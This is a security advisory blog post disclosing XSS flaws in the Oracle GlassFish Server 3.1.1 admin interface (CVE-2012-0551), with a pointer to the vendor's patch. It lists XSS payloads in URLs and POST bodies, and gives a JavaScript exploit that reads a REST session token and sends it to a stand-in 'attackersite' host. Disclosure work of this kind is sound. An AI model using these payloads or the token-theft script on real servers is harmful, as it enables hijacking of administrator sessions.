Skip to main content

Oracle GlassFish Server - Multiple Cross Site Scripting Vulnerabilities

Following disclosure of Oracle bugs, here is another bug found in Oracle GlassFish Server 3.1.1. The interesting part of this advisory is the exploit. When looking at the features of the Oracle GlassFish Server, I have noticed that with a XSS it would be possible to steal the session token and bypass HTTPOnly protection. I have found this condition to be true if a user is authenticated to the REST interface, which does not have the same security controls of the main web administrative interface. Quite an interesting point to keep in consideration when testing applications that come with a standard interface and a REST interface as well.


Details

Vendor Site: Oracle (www.oracle.com)
Date: April, 19th 2012 – CVE 2012-0551
Affected Software: Oracle GlassFish Server 3.1.1 (build 12)
Researcher: Roberto Suggi Liverani


Description

Security-Assessment.com has discovered that components of the Oracle GlassFish Server administrative web
interface are vulnerable to both reflected  and stored  Cross Site Scripting attacks. All pages where Cross Site
Scripting vulnerabilities were discovered require authentication.

Reflected Cross Site Scripting 

Reflected Cross Site Scripting was discovered in multiple parts of the application.
The table below details where Reflected Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Method Variable
 /common/applications/lifecycleEdit.jsf?appName=
test%27);alert(document.cookie)//test

 GET  appName
/common/security/realms/realms.jsf?configName=default-config%22%29%3balert%281%29//test
/web/grizzly/networkListeners.jsf?configName=default-configad217%22%29%3balert%281%29//test
/common/security/auditModules/auditModules.jsf
?configName=904895%22);alert(1);//test
/common/security/jacc/jaccProviders.jsf?configName=904895%22);alert(1);//t
/common/security/msgSecurity/msgSecurity.jsf?
configName=904895%22);alert(1);//test
/jms/jmsHosts.jsf?configName=904895%22);alert(1);//test
/web/grizzly/networkListeners.jsf?configName=904895%22);alert(1);//test
/web/grizzly/protocols.jsf?configName=904895%22);alert(1);//test
/web/grizzly/transports.jsf?configName=904895%22);alert(1);//test

 GET  configName
 /xhp?key=aquarium%27%3b%3Cscript%3Ealert
%281%29%3C/script%3E//test
** Works in Internet Explorer (content sniffing)

 GET  key

Stored Cross Site Scripting

The table below details where Stored Cross Site Scripting was detected and which parameters are vulnerable:

Page Affected Rendered Page Method Variable
 /management/domain/create-password-alias  /management/
domain/
list-password-aliases
/cluster/node/
nodeEdit.jsf?
nodeName=localhost-domain1&bare=true

 POST  id
/common/appServer/pswdAliasNew.jsf
** requires a valid javax.faces.ViewState

 /cluster/node/
nodeEdit.jsf?
nodeName=localhost
domain1&bare=true

 POST  propertyForm%3
ApropertySheet
%3ApropertSection
TextField
%3AaliasNameNew
%3AaliasNameNew

Stored Cross Site Scripting - POST Request – REST Interface

POST /management/domain/create-password-alias HTTP/1.1 
Host: 192.168.0.205:4848 
[snip] 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 126 
 
AS_ADMIN_ALIASPASSWORD=testing81&id=%22%3E%3Cscript%3Ealert%28%22viaREST%22%29%3B%3C%2Fscrip
t%3E&remove_empty_entries=true

Stored Cross Site Scripting - POST Request – Standard Web Interface

POST /common/appServer/pswdAliasNew.jsf HTTP/1.1 
Host: 192.168.0.205:4848 
[snip] 
Faces-Request: partial/ajax 
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 
Content-Length: 889 
Cookie: JSESSIONID=146c28566608602e3a73ab65f07c; treeForm_tree-hi=treeForm:tree:nodes 
 
propertyForm%3ApropertySheet%3ApropertSectionTextField%3AaliasNameNew%3AaliasNameNew=%22%3E%
3Cscript%3Ealert(12345545)%3C%2Fscript%3E&propertyForm%3ApropertySheet%3ApropertSectionTextF
ield%3AnewPasswordProp%3ANewPassword=test&propertyForm%3ApropertySheet%3ApropertSectionTextF
ield%3AconfirmPasswordProp%3AConfirmPassword=test&propertyForm%3AhelpKey=ref-pswdaliasnew.html&propertyForm_hidden=propertyForm_hidden&javax.faces.ViewState=-6862830673138436308%3A379100040679698460&com_sun_webui_util_FocusManager_focusElementId=prop
ertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.source=propertyForm%3Apr
opertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.execute=%40all&javax.faces.pa
rtial.render=%40all&bare=true&propertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton=pr
opertyForm%3ApropertyContentPage%3AtopButtons%3AnewButton&javax.faces.partial.ajax=true

Exploitation

These vulnerabilities can be exploited in several ways. One example is to include an external JavaScript file,
such as a JavaScript hook file provided by BeEF, the browser exploitation framework. In this particular case, it
is possible to steal the authentication token through the REST interface, bypassing the HTTPOnly protection adopted for the JSESSIONID token in the standard web administrative interface.

Bypassing HTTPOnly protection and token theft via REST interface

There is a feature in Oracle Glassfish Server which allows using cookie as a session management mechanism instead of Basic Authentication within the REST interface.

This feature can be misused using a Cross Site Scripting vulnerability. An exploit scenario for both stored and
reflected Cross Site Scripting vulnerabilities would be to inject a JavaScript payload which performs an XMLHTTPRequest (XHR) request to retrieve a valid session token via the REST interface.

The following exploit can be used to retrieve and steal a session token in case a user is authenticated to the REST Interface, using Basic Authentication. The token can only be used with a cookie named gfresttoken within the REST interface.

Bypassing HTTPOnly and Stealing Session Token
function retrieveToken() 
{ 
var xmlhttp; 
if (window.XMLHttpRequest) 
  {// code for IE7+, Firefox, Chrome, Opera, Safari 
  xmlhttp=new XMLHttpRequest(); 
  } 
else 
  {// code for IE6, IE5 
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); 
  } 
xmlhttp.onreadystatechange=function() 
  { 
  if (xmlhttp.readyState==4 && xmlhttp.status==200) 
    {} 
  } 
xmlhttp.open("POST","/management/sessions",true); 
xmlhttp.setRequestHeader("Accept","application/json") 
xmlhttp.send(); 
return xmlhttp; 
} 
 
function stealToken(a) 
{ 
jsonObj = JSON.parse(a.responseText); // token retrieved and can be sent to attacker 
a = document.createElement("IMG"); 
a.setAttribute('src', 'http://attackersite/?token='+jsonObj.extraProperties.token); 
document.body.appendChild(a); // time to grab the token 
} 
 
// this exploit works with browsers that have native JSON support 
 
var a = retrieveToken();// perform XHR to retrieve token 
setTimeout('stealToken(a);',12000); // needs time to load the token, then sends it to 
attackersite 
 
// attacker then needs to set a cookie named gfresttoken with the token value obtained. The 
cookie has to be valid for the domain/IP address of the target Oracle Glassfish Server

Solution

Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory -
April 2012. Security-Assessment.com recommends applying the latest patch provided by the vendor.
For more information, visit: http://www.oracle.com/technetwork/topics/security/cpuapr2012-366314.html

Comments

Popular posts from this blog

TrendMicro ScanMail for Microsoft Exchange (SMEX) predictable session token - CVE-2015-3326

It's time for another advisory ( CVE-2015-3326 ), a simple one, for a vulnerability which can be found quickly and trivially. For those of you who just want to give a glance at the post, I suggest to directly watch the picture which says it all! The following vulnerability was discovered on TrendMicro SMEX (ScanMail for Microsoft Exchange) 10 SP2 but it affects other versions as well. While surfing the SMEX web administrative interface using a web proxy, I have noticed something in the HTTP request - the session token itself and its format, a number. After observing a significant number of logins, the session token was always represented with an number composed of minimum 4 digits and maximum 5 digits, as shown in the screen shot below:   Although the observed session tokens were never generated sequentially, the lack of a cryptographically strong PRNG for the session identifier, allows a malicious user to trivially guess the token. This attack can be easily automated.

Alcatel Lucent Omnivista or: How I learned GIOP and gained Unauthenticated Remote Code Execution (CVE-2016-9796)

It is time for another advisory or better a blog post about Alcatel Lucent Omnivista  and its vulnerabilities. Omnivista is a central management network tool and it is typically used in medium/large organisation with a complex VoIP/SIP infrastructure. Interestingly enough, this software belongs to the niche of "undownloadable" software and it requires a license to work as well. My "luck" came during an engagement where it was already installed and this post documents one of the many 0days discovered during such audit. The reasons why I wanted to dedicate a single blog post on this vulnerability are several. First, remote code execution (RCE) is always a sweet bug to show. Second, I strongly believe that documenting vulnerabilities in applications using old protocols and standards, respectively GIOP and CORBA, can be beneficial for the infosec community, since no many examples of vulnerabilities in such applications are available or published on the Interne

Microsoft .NET MVC ReDoS (Denial of Service) Vulnerability - CVE-2015-2526 (MS15-101)

Microsoft released a security bulletin ( MS15-101 ) describing a .NET MVC Denial of Service vulnerability ( CVE-2015-2526 ) that I reported back in April. This blog post analyses the vulnerability in details, starting from the theory and then providing a PoC exploit against a MVC web application developed with Visual Studio 2013. For those of you who want to see the bug, you can directly skip to the last part of this post or watch the video directly... ;-) A bit of theory The .NET framework (4.5 tested version) uses backtracking regular expression matcher when performing a match against an expression. Backtracking is based on the NFA (non-deterministic finite automata) algorithm engine which is designed to validate all input states. By providing an “evil” regex expression – an expression for which the engine can be forced to calculate an exponential number of states - it is possible to force the engine to calculate an exponential number of states, leading to a condition defined su